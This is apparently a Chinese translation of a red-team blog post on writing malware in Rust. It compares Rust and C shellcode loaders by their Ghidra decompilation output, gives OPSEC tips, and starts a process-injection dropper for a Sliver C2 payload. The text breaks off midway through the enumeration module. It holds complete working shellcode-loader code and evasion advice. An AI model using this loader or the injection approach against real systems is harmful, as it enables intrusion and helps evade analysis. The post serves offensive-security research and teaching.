Rust在恶意软件开发中的优势与实战应用

本文深入探讨了Rust相比C语言在恶意软件开发中的优势,包括其反分析特性和对逆向工程的挑战。通过实际代码示例展示Rust如何实现进程枚举、文件映射注入技术,并成功在notepad.exe进程中执行Sliver C2载荷。

Rust for Malware Development

引言

我的2025年新年决心之一是深化对恶意软件开发的理解,以补充我在Web应用和API渗透测试中获取初始立足点的经验。我强烈希望提升自身能力,以更好地模拟真实的对抗策略。对于恶意软件开发,我选择Rust作为主要编程语言,因其固有的反分析特性——允许开发更具规避性的工具。本文将比较用Rust和C开发恶意软件的差异,并通过一个简单的恶意软件投放器进行演示。

更新:新增播客访谈

除了对Rust用于恶意软件的深入探索,Bishop Fox安全顾问Nick Cerne最近在CyberWire的Research Saturday播客中讨论了他的研究。该集深入探讨了使用Rust创建规避性恶意软件工具的细微差别及其对逆向工程带来的挑战。您可以在此收听完整对话:Crafting malware with modern metals – Research Saturday Ep. 373

Rust与C语言的对比分析

此时,您可能在想——为什么选择Rust?在恶意软件开发中,使用Rust相比传统语言如C或C++有什么优势? 近年来,诸如Go、Nim和Rust等语言在恶意软件作者中越来越受欢迎,这似乎主要受两个假设驱动:

  • 用这些语言编译的二进制文件比C/C++对应物更难进行逆向工程或分析。
  • 用非传统语言开发的恶意软件更可能绕过基于签名的检测机制。

2023年,罗切斯特理工学院发表了一篇论文,旨在通过对Rust和C/C++开发的恶意软件进行比较分析来证明或反驳这些假设。研究结果总结如下:

  • Rust二进制文件的大小显著大于C/C++对应物,这可能增加逆向工程的工作量和复杂性。
  • 自动化恶意软件分析工具在分析Rust编程语言编译的恶意软件时产生更多误报和漏报。
  • 现状逆向工程工具如Ghidra和IDA Free在反汇编Rust二进制文件方面不如C/C++做得好。

为了探索这些结果,我们可以分析并比较功能相同的Shellcode加载器样本。具体来说,一个用Rust开发,另一个用C开发。在高层次上,我们的恶意软件样本将执行以下操作:

  • 从启动calc.exe的文件中读取原始Shellcode字节。
  • 使用Windows API在本地进程的内存中写入并执行Shellcode。

例如,Rust代码片段如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
use std::fs::File;
use std::ptr;
use std::io::{self, Read};
use windows::Win32::{
    System::{
        Threading::{CreateThread, WaitForSingleObject, THREAD_CREATION_FLAGS, INFINITE},
        Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS},
    },
    Foundation::CloseHandle
};

fn main() {
    /* 将Shellcode读入payload_vec */
    let mut shellcode_bytes = File::open("shellcode/calc.bin").unwrap();
    let mut payload_vec = Vec::new();
    shellcode_bytes.read_to_end(&mut payload_vec);

    unsafe {
        /* 在本地进程中分配内存 */
        let l_address = VirtualAlloc(Some(ptr::null_mut()), payload_vec.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        /* 将Shellcode复制到分配的内存 */
        ptr::copy(payload_vec.as_ptr(), l_address as *mut u8, payload_vec.len());

        /* 修改内存保护 */
        VirtualProtect(l_address, payload_vec.len(), PAGE_EXECUTE_READWRITE, &mut PAGE_PROTECTION_FLAGS(0));

        /* 创建本地线程并运行Shellcode */
        let h_thread = CreateThread(Some(ptr::null()), 0, Some(std::mem::transmute(l_address)), Some(ptr::null()), THREAD_CREATION_FLAGS(0), Some(ptr::null_mut())).unwrap();
        WaitForSingleObject(h_thread, INFINITE);
        CloseHandle(h_thread);
    };
    println!("[!] Success! Executed shellcode.");
}

代码首先从shellcode/calc.bin读取Shellcode,并将结果存储在缓冲区中。随后,代码根据缓冲区的大小在本地进程中分配内存块。然后将Shellcode复制到分配的内存中。最后,修改内存区域的保护权限,并在新线程中执行Shellcode。为简洁起见,C语言的等效代码可在我们的Github上参考。

编译两个程序后,我们可以立即看到Rust程序明显更大:

1
2
3
4
5
6
PS > dir
...省略...
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/18/2025   5:19 PM          73374 c_malware.exe
-a----         2/18/2025   4:10 PM         155136 rust_malware.exe

编译的C程序文件大小为71.7 KB,而Rust程序的发布构建大小几乎翻倍,达到151.5 KB。使用默认编译器优化设置时,Rust会在编译时静态链接依赖项。这意味着程序所需的所有库都直接编译到可执行文件中,包括大部分Rust标准和运行时库。相比之下,C通常使用动态链接,利用系统上安装的外部库。虽然较大的文件大小可能被视为缺点,但它们也可能增加逆向工程Rust恶意软件的工作量和复杂性。

我们还可以通过查看两个程序的Ghidra反编译输出来确定Rust恶意软件是否更难逆向工程。为简洁起见,我们将使用Ghidra输出,并不在分析中包含IDA Free。现在让我们看看Rust恶意软件的反编译main函数,与上面的代码进行比较。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
uint uVar1;
  BOOL BVar2;
  longlong extraout_RAX;
  LPTHREAD_START_ROUTINE lpStartAddress;
  undefined **hHandle;
  int iVar3;
  char *pcVar4;
  longlong *plVar5;
  SIZE_T SVar6;
  longlong alStack_80 [3];
  DWORD DStack_64;
  undefined **ppuStack_60;
  undefined8 uStack_58;
  undefined8 *puStack_50;
  undefined **ppuStack_48;
  undefined8 uStack_40;
  undefined8 uStack_38;
  undefined4 uStack_30;
  undefined4 uStack_2c;
  undefined4 uStack_28;
  undefined2 uStack_24;
  undefined2 uStack_22;
  undefined8 uStack_18;

  uStack_18 = 0xfffffffffffffffe;
  ppuStack_48 = (undefined **)((ulonglong)ppuStack_48 & 0xffffffff00000000);
  uStack_40._0_4_ = 0;
  uStack_40._4_4_ = 0;
  uStack_38 = 0;
  uStack_30 = 7;
  uStack_2c = 0;
  uStack_24 = 0;
  uStack_28 = 1;
  pcVar4 = "shellcode/shellcode.binsrc\\main.rs";
  uVar1 = std::fs::OpenOptions::_open((char *)&ppuStack_48,0x4001c470,0x17);
  if ((uVar1 & 1) != 0) {
    ppuStack_48 = (undefined **)pcVar4;
          /* WARNING: Subroutine does not return */
    core::result::unwrap_failed();
  }
  alStack_80[0] = 0;
  alStack_80[1] = 1;
  alStack_80[2] = 0;
  plVar5 = alStack_80;
  ppuStack_60 = (undefined **)pcVar4;
  std::fs::impl$8::read_to_end();
  if ((extraout_RAX != 0) && (((uint)plVar5 & 3) == 1)) {
    uStack_58 = *(undefined8 *)((longlong)plVar5 + -1);
    puStack_50 = *(undefined8 **)((longlong)plVar5 + 7);
    if ((code *)*puStack_50 != (code *)0x0) {
      (*(code *)*puStack_50)(uStack_58);
    }
    if (puStack_50[1] != 0) {
      std::alloc::__default_lib_allocator::__rust_dealloc();
    }
    std::alloc::__default_lib_allocator::__rust_dealloc();
  }
  lpStartAddress = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,alStack_80[2],0x3000,4);
  DStack_64 = 0;
  SVar6 = alStack_80[2];
  BVar2 = VirtualProtect(lpStartAddress,alStack_80[2],0x40,&DStack_64);
  iVar3 = (int)SVar6;
  if (BVar2 == 0) {
    ppuStack_48 = (undefined **)windows_result::error::Error::from_win32();
    uStack_40._0_4_ = iVar3;
    if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) {
      _<>::drop(&ppuStack_48);
    }
  }
  iVar3 = 0;
  hHandle = (undefined **)
          CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0);
  if ((longlong)hHandle + 1U < 2) {
    hHandle = (undefined **)windows_result::error::Error::from_win32();
    if (iVar3 != 0) {
      uStack_40 = CONCAT44(uStack_40._4_4_,iVar3);
      ppuStack_48 = hHandle;
          /* WARNING: Subroutine does not return */
      core::result::unwrap_failed();
    }
  }
  iVar3 = -1;
  WaitForSingleObject(hHandle,0xffffffff);
  BVar2 = CloseHandle(hHandle);
  if (BVar2 == 0) {
    ppuStack_48 = (undefined **)windows_result::error::Error::from_win32();
    uStack_40 = CONCAT44(uStack_40._4_4_,iVar3);
    if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) {
      _<>::drop(&ppuStack_48);
    }
  }
  ppuStack_48 = &PTR_s_[!]_Success!_Executed_shellcode._14001c4e8;
  uStack_40 = 1;
  uStack_38 = 8;
  uStack_30 = 0;
  uStack_2c = 0;
  uStack_28 = 0;
  uStack_24 = 0;
  uStack_22 = 0;
  std::io::stdio::_print();
  if (alStack_80[0] != 0) {
    std::alloc::__default_lib_allocator::__rust_dealloc();
  }
  CloseHandle(ppuStack_60);
  return;
}

上面的反编译输出难以阅读和理解。Ghidra无法正确反编译Rust程序的原因可能如下:

  • Ghidra尝试将Rust程序反编译为伪C;语言间内存管理和优化的差异导致难以理解的伪代码。
  • rustc在编译期间执行多项优化,导致函数边界不清晰,且汇编代码(ASM)高度优化,难以解释。

第二点可以通过比较以下Rust程序在不同编译器优化级别下的ASM来观察:

1
2
3
4
5
6
7
8
fn add(a: i32, b: i32) -> i32 {
    a + b
}

fn main() {
    let x = add(3, 4);
    println!("{}", x);
}

我们的程序简单地定义了一个函数add,并在main函数中调用它,传入两个参数。接下来,我们可以使用以下rustc命令将程序编译为未优化和优化的ASM:

1
2
PS > rustc -C opt-level=0 --emit asm -o unoptimized.s src/main.rs
PS > rustc -C opt-level=3 --emit asm -o optimized.s src/main.rs

我们可以使用vim -d unoptimized.s optimized.s比较优化和未优化的ASM:

如左侧优化ASM所示,add函数的符号定义缺失,表明该函数可能在编译时被rustc优化内联。

同样值得注意的是,与C++类似,Rust执行符号名称修饰,具有Rust特定的语义。然而,Ghidra在11.0版本中引入了Rust符号名称解修饰。在11.0版本之前,原生Rust不支持名称解修饰,这使得逆向工程更加困难。但自那时以来已取得重大进展,在反编译输出中可以看到尝试解修饰符号的字符串,如std::fs::impl$8::read_to_end();,这对应于我们原始代码中的shellcode_bytes.read_to_end(&mut payload_vec);。

相比之下,反编译的C程序更容易审查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int _Argc,char **_Argv,char **_Env)

{
      DWORD local_34;
      HANDLE local_30;
      LPTHREAD_START_ROUTINE local_28;
      void *local_20;
      int local_14;
      FILE *local_10;

     __main();
      local_10 = fopen("shellcode/calc.bin","rb");
      fseek(local_10,0,2);
      local_14 = ftell(local_10);
      rewind(local_10);
      local_20 = malloc((longlong)local_14);
      fread(local_20,1,(longlong)local_14,local_10);
      fclose(local_10);
      local_28 = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,(longlong)local_14,0x3000,4);
      memcpy(local_28,local_20,(longlong)local_14);
      free(local_20);
      VirtualProtect(local_28,(longlong)local_14,0x40,&local_34);
      local_30 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,local_28,(LPVOID)0x0,0,(LPDWORD)0x0);
      WaitForSingleObject(local_30,0xffffffff);
      CloseHandle(local_30);
      printf("[!] Success! Executed shellcode.\n");
      return 0;
}

C程序的反编译输出比Rust对应物更接近源代码。此外,在Ghidra中,关键函数和变量在C程序的符号树中更容易识别。

一个重要的操作安全(OPSEC)考虑是,Rust会在编译的二进制文件中包含绝对文件路径,主要用于调试目的。因此,如果OPSEC对您很重要,在不会暴露识别特征的环境中编译是个好主意。

1
2
3
$ strings ./rust_malware.exe | grep Nick
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\raw_vec.rs
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\string.rs

总之,在开发恶意软件时,Rust可能是C/C++的一个很好的替代品。虽然Ghidra的11.0版本标志着在反编译和分析Rust二进制文件方面迈出了重要一步,但由于函数内联和rustc在编译时进行的其他优化,审查Rust程序的反编译输出仍然很困难。此外,较大的结果二进制文件可能使分析Rust恶意软件比C对应物更耗时。看到Ghidra团队或开源社区未来会做出哪些改进以使Rust恶意软件的静态分析更容易,将会很有趣。

开发Rust恶意软件投放器

现在有了一些确认Rust是恶意软件开发的可靠选择,让我们构建一个投放器来演示。投放器是一种旨在将额外恶意软件安装到计算机上的恶意软件形式。出于我们的目的,我们将开发一个执行以下操作的投放器:

  • 枚举目标上的进程以注入我们的载荷
  • 使用文件映射注入技术执行载荷
  • 通过HTTPS暂存Sliver

请注意,以下恶意软件并不全面,从OPSEC和规避的角度来看,可以进行多项改进。以下代码片段仅用于说明Rust如何用于恶意软件开发。

首先,我们将初始化Rust项目并创建第一个模块enumerate_processes.rs:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
use windows::{
    Win32::System::ProcessStatus::EnumProcesses,
    Win32::Foundation::{CloseHandle, HMODULE},
    Win32::System::Threading::{OpenProcess, PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
    Win32::System::ProcessStatus::{GetModuleBaseNameW}
};

pub fn get_process_pids() -> Vec<u32> {
    /* 以合理的缓冲区大小开始存储我们的PID */
    let mut pids = vec![0u32; 1024];
    let mut cb = 0u32;

    unsafe {
        /* 循环动态调整缓冲区大小(如果太小) */
        loop {
            if EnumProcesses(pids.as_mut_ptr(), pids.len() as u32, &mut cb).is_err() {
                /* 静默失败 */
                return vec![];
            };

            /* 通过写入的字节数识别PID数量 */
            let num_pids = (cb as usize) / size_of::<u32>();

            /* 如果缓冲区大于PID数量 */
            if num_pids < pids.len() {
                pids.truncate(num_pids);
                return pids;
            }

            pids.resize(pids.len() * 2, 0);
        }
    }
}

pub fn get_process_name(pid: u32) -> String {
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计